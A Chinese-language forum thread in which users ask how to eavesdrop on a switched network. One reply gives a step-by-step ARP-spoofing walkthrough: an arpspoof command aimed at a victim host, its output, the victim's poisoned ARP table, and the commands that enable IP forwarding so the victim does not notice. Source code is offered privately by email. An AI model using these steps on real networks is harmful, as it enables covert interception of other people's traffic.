如何在交换式网络上进行监听？

[beauty2004]

arp欺骗技术可以实现么？
如果可以，具体如何实现呢？

[qrlvls]

可以实现，不过始终不方便，很容易受限制

[wangbangjie]

可以啊,目前Dsniff和Ethercap都能有效的截获交换式网络的数据.
如dsniff，这个软件包有一个叫arpspoof的组件，它就具有你要的功能,工作原理是这样的：发起arpspoof的主机向目标主机发送伪造的arp应答包，骗取目标系统更新arp表，将目标系统的网关的mac地址修改为发起arpspoof的主机mac地址，使数据包都经由发起arpspoof的主机，这样即使系统连接在交换机上，也不会影响对数据包的攫取，由此就轻松的通过交换机实现了网络监听。

举例如下：
主机a和b连接在交换机的同一个vlan上，
A机的ip地址：192.168.1.37
B机的ip地址：192.168.1.35，mac地址为：08-00-20-c8-fe-15
网关的ip地址：192.168.1.33，mac地址为：00-90-6d-f2-24-00

首先在a机上看看a机的arp表

C:\ >arp -a
Interface: 192.168.1.37
Internet Address Physical Address Type
192.168.1.33 00-90-6d-f2-24-00 dynamic



我们看到a机中保留着网关的ip地址192.168.1.33和对应的mac地址00-90-6d-f2-24-00

我们在B机上执行arpspoof，将目标指向a机，宣称自己为网关，如下：

HOSTB# arpspoof -t 192.168.1.37 192.168.1.33
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15
8:0:20:c8:fe:15 0:50:ba:1a:f:c0 0806 42: arp reply 192.168.1.33 is-at 8:0:20:c8:fe:15



可以看到b机持续向a发送arp回应包，宣称网关192.168.1.33的mac地址是自己！此时，我们在a机上看看arp表的内容，

C:\>arp -a
Interface: 192.168.1.37
Internet Address Physical Address Type
192.168.1.33 08-00-20-c8-fe-15 dynamic



哈！a机的arp表已经改变了，网关的mac地址被更新为了 b机的mac地址，这样，当有数据包发送时，a机理所当然的会发到它arp表中网关对应的mac地址08-00-20-c8-fe-15，然而这个地方的b机正在等待着，悄然无声的冒充网关收发着a机的数据包。

有一点要说明的是，为了让a机能正常使用网络，b机还必须打开数据转发，

linux中可以使用

sysctl -w net.ipv4.ip_forward = 1


bsd系统可以使用

sysctl -w net.inet.ip.forwarding =1


solaris系统可以使用

ndd -set /dev/ip ip_forwarding 1


除了这样打开内核的支持外，也可以选用外部的fragrouter等转发软件，如此，就能确保a机正常工作了。



另外,我这里有源码,要的话,跟我说一下

[beauty2004]

如果自己能够实现那个软件包的功能那就太好了，把源码发给我一份好么？谢谢

我的邮箱：
[e-mail]
或者[e-mail]

[wangbangjie]

我发了,楼主受到了吗

[hantry]

to:wangbangjie(浪子)
源码也给俺一份行不？

[hantry]

[e-mail]

[beauty2004]

To:浪子

收到了，先谢谢你
我在一个地方卡住了，暂时没什么进展
以后还请多多指教

[wangbangjie]

大家互相研究!